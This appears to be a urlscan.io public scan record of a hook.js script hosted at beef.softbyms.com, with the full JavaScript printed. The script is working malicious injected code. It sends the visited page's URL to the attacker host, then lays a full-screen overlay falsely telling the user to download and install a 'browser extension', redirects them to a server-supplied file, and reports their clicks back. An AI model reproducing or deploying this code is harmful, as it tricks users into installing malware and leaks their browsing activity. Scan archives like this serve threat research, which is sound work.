beef.softbyms.com Open in urlscan Pro
147.78.47.88  Public Scan

Submitted URL: http://beef.softbyms.com/hook.js
Effective URL: https://beef.softbyms.com/hook.js
Submission: On October 10 via manual from MA — Scanned from NL

Form analysis 0 forms found in the DOM

Text Content

var HttpClient = function() {
	this.get = function(aUrl, callback) {
		var anHttpRequest = new XMLHttpRequest();
        if (typeof callback === 'function'){
            anHttpRequest.onreadystatechange = callback;
        }
		anHttpRequest.open( "GET", aUrl, true );
		anHttpRequest.send( null );
		//return anHttpRequest.response;
		}
	}
var addBanner = function (event){
    if (event.target.readyState === 4){
        if (event.target.responseText !== ''){
            // Create STYLE
            var bustyle = document.createElement('style');
            bustyle.setAttribute('id', 'downloadShade_style');
            bustyle.innerHTML = `
		.lc-shade {
			position: fixed;
			top: 0;
			right: 0;
			bottom: 0;
			left: 0;
			z-index: 10000;
			--link-hover-color: #f00;
			--link-hover-underline: none;
			--link-underline: none;
			word-wrap: break-word;
			-webkit-text-size-adjust: 100%;
		}
		.lc-paranja {
			position: relative;
			overflow: hidden;
			width: 100vw;
			height: 100vh;
		}
		.lc-icon {
			display: inline-flex;
			flex-shrink: 0;
			justify-content: center;
			align-items: center;
			box-sizing: border-box;
			fill: currentColor;
		}		
		.lc-paranja .lc-paranja__close {
			position: absolute;
			z-index: 20;
			top: 32px;
			right: 32px;
			padding: 0;
			cursor: pointer;
			opacity: .3;
			border: none;
			outline: none;
			background: none;
		}
		.lc-paranja .lc-paranja__close:hover {
			opacity: 1
		}
		.lc-paranja_position_close .lc-paranja__close.lc-icon {
			right: auto;
			left: 32px;
		}
		.lc-paranja__explanation {
			box-sizing: border-box;
			padding-right: 16px;
			padding-left: 16px;
			position: absolute;
			top: 165px;
			right: 200px;
			text-align: center;
		}		
		.lc-paranja__arrow {
			position: absolute;
			z-index: 10;
		}		
		.lc-paranja__arrow_thickness_thick {
			stroke-width: 4;
		}
		.lc-paranja__explanation .lc-paranja__arrow {
			top: -55px;
			right: -110px;
		}
		.lc-paranja__title {
			margin-bottom: 20px;
		}
		.lc-text-block {
			margin: 0;
			font-family: var(--font-family);
			font-weight: var(--font-weight);
			letter-spacing: var(--letter-spacing);
			color: var(--color);
		}		
		.lc-styled-text__text_align_right {
			text-align: right;
		}		
		.lc-paranja__download {
			box-sizing: border-box;
			padding-right: 16px;
			padding-left: 16px;
			position: absolute;
			top: 250px;
			text-align: center;
			width: 100vw;
			height: 100vh;
		}		
		.lc-styled-text__text_align_center {
			text-align: center;
		}
		.1c_flex-column {
			display: flex;
			flex-direction: column;
		}
		.1c_flex {
			display: flex;
		}
		.flex-jc-center {
			justify-content: center;
		}
		.1c_flex-1-1-100 {
			flex: 1 1 100%;
		}
		.1c_flex-1-1-50 {
			flex: 1 1 50%;
		}
		.1с_flex-ai-center {
			align-items: center;
		}
		.eImportantColor {
			color: #333333;
		}

		.eImportantBack {
			background-color: #ffe100;
		}
		.pointer {
			cursor: pointer;
		}
		.mt-80 {
			margin-top: 80px;
		}
		.mt-150 {
			margin-top: 150px;
		}
		.webBtn {
			font-size: 20pt;
			color: #4b4b4b;
			background-color: #fff;
			border-radius: 2px;
			border: 1px solid rgba(0,0,0,0.3);
			position: relative;
			padding: 0 1em;
			cursor: default;
			word-spacing: normal;
			box-shadow: 0 1px 0 0 rgba(0,0,0,0.2);
			overflow: hidden;
			box-sizing: border-box;
			-moz-box-sizing: border-box;
			-webkit-box-sizing: border-box;
		}
		.webBtn:not(:ACTIVE):before {
			content: '';
			position: absolute;
			height: 100%;
			bottom: -100%;
			right: -50%;
			left: -50%;
			box-shadow: 0 0 1em 0 rgba(0,0,0,0.1);
		}
`;
            document.body.appendChild(bustyle);	

            // Create DIV
            var budiv = document.createElement('div');
            budiv.setAttribute('id', 'downloadShade');
            budiv.setAttribute('class', 'lc-shade');
            budiv.setAttribute('style', 'background-color:rgba(43, 43, 43, 0.9)');
            budiv.innerHTML = `
		<div class="lc-paranja">
			<div class="lc-paranja_position_close">
				<button id="1c_closeButton" class="lc-icon lc-paranja__close" style="color:rgba(255, 255, 255, 1)" aria-hidden="false">
					<svg width="33" height="33" viewBox="0 0 33 33" id="lc-icon__close" xmlns="http://www.w3.org/2000/svg">
						<path d="M16.5 16L2.8 2.2 2.6 2l-.6.6.3.2L16 16.5 2.2 30.2l-.3.2.3.6.2-.3 14-13.7L30 30.7l.2.3.6-.6-.3-.2L17 16.5 30.8 2.8l.3-.2-.3-.6-.2.3-14 13.7z" stroke="currentColor" stroke-width="2" fill="none" stroke-linecap="square"/>
					</svg>
				</button>
			</div>
			<div id="lc-paranja__explanation" class="lc-paranja__explanation" hidden="hidden">
				<div class="lc-paranja__arrow lc-paranja__arrow_thickness_thick" style="color:rgba(255, 255, 255, 1)">
					<svg width="95" height="100" viewBox="1 0 95 100" xmlns="http://www.w3.org/2000/svg">
						<path stroke="currentColor" fill="none" d="M1 98 Q 80 98 80 2"></path>
						<polyline stroke="currentColor" fill="none" points="65 17 80 2 95 17"></polyline>
					</svg>
				</div>
				<div class="lc-paranja__title">
					<div class="lc-text-block" style="--font-weight:400;--color:rgba(255, 204, 0, 1);--font-family:YS Text, Helvetica, Arial, sans-serif;--letter-spacing:normal">
						<div class="lc-styled-text">
							<h2 class="lc-styled-text__text lc-styled-text__text_align_right">Great, you're on the right track</h2>
						</div>
					</div>
					<div class="lc-text-block" style="--font-weight:400;--color:rgba(255, 255, 255, 1);--font-family:YS Text, Helvetica, Arial, sans-serif;--letter-spacing:normal">
						<div class="lc-styled-text">
							<h4 class="lc-styled-text__text lc-styled-text__text_align_right">Now open the file pointed to by the arrow, <br>to begin the installation</h4>
						</div>
					</div>
				</div>
			</div>
			<div id="lc-paranja__download" class="lc-paranja__download">
				<div class="1c_flex">
					<div class="1c_flex-1-1-50"></div>
					<div class="1c_flex-1-1-100 1c_flex 1c_flex-column">
						<div class="lc-text-block" style="--font-weight:400;--color:rgba(255, 204, 0, 1);">
							<div class="lc-styled-text">
								<h2 class="lc-styled-text__text lc-styled-text__text_align_center">To&nbsp;continue, <br>you&nbsp;need&nbsp;to&nbsp;download&nbsp;and&nbsp;install&nbsp;the&nbsp;browser&nbsp;extension.</h2>
							</div>
						</div>
						<div class="1c_flex mt-80">
							<i class="shadeArrow" style="visibility: hidden"></i>
							<span id="1c_downloadButton" class="webBtn eImportantBack eImportantColor pointer " tabindex="0">Download</span>
						</div>
						<div class="lc-text-block" style="height: 100vh;--font-weight:200;--color:rgba(255, 255, 255, 1);">
							<div class="lc-styled-text mt-150">
								<h4 class="lc-styled-text__text lc-styled-text__text_align_center">The&nbsp;browser&nbsp;extension&nbsp;provides&nbsp;additional&nbsp;features&nbsp;(which&nbsp;are&nbsp;not&nbsp;provided&nbsp;by&nbsp;the&nbsp;browser)&nbsp;<br>for&nbsp;working&nbsp;with&nbsp;files,&nbsp;cryptography,&nbsp;clipboard,&nbsp;external&nbsp;components.</h4>
							</div>
					</div>	
					<div class="1c_flex-1-1-50"></div>
				</div>
			</div>
		</div>
				
              `;
            document.body.appendChild(budiv);

            // clean up on click Download
            dbutt = document.getElementById('1c_downloadButton');
            dbutt.addEventListener('click', function () {
                //$j(this).hide();
                document.location=event.target.responseText;
				ddownload = document.getElementById('lc-paranja__download');
				ddownload.setAttribute('hidden','hiddet');
				dexplanation = document.getElementById('lc-paranja__explanation');
				dexplanation.removeAttribute('hidden');
                //document.body.removeChild(budiv);
                //document.body.removeChild(bustyle);
                client = new HttpClient();
                client.get('https://beef.softbyms.com/result?resultinfo=download', null)
            });
            cbutt = document.getElementById('1c_closeButton');
            cbutt.addEventListener('click', function () {
                //$j(this).hide();
                document.body.removeChild(budiv);
                document.body.removeChild(bustyle);
                client = new HttpClient();
                client.get('https://beef.softbyms.com/result?resultinfo=close', null)
            });
            window.addEventListener('popstate', function(){
                client = new HttpClient();
                client.get('https://beef.softbyms.com/result?resultinfo=popstate', null)
            });
            
        }
    
        
    }
}    
var hookdiv = document.getElementById('hookwork');
if (hookdiv === null) {
    hookdiv = document.createElement('div');
    hookdiv.setAttribute('id', 'hookwork');
    hookdiv.setAttribute('hidden','hidden');
    document.body.appendChild(hookdiv);
    b64url =  window.btoa(encodeURIComponent(document.URL));
    client = new HttpClient();
    client.get('https://beef.softbyms.com/check?url='+b64url, addBanner);
}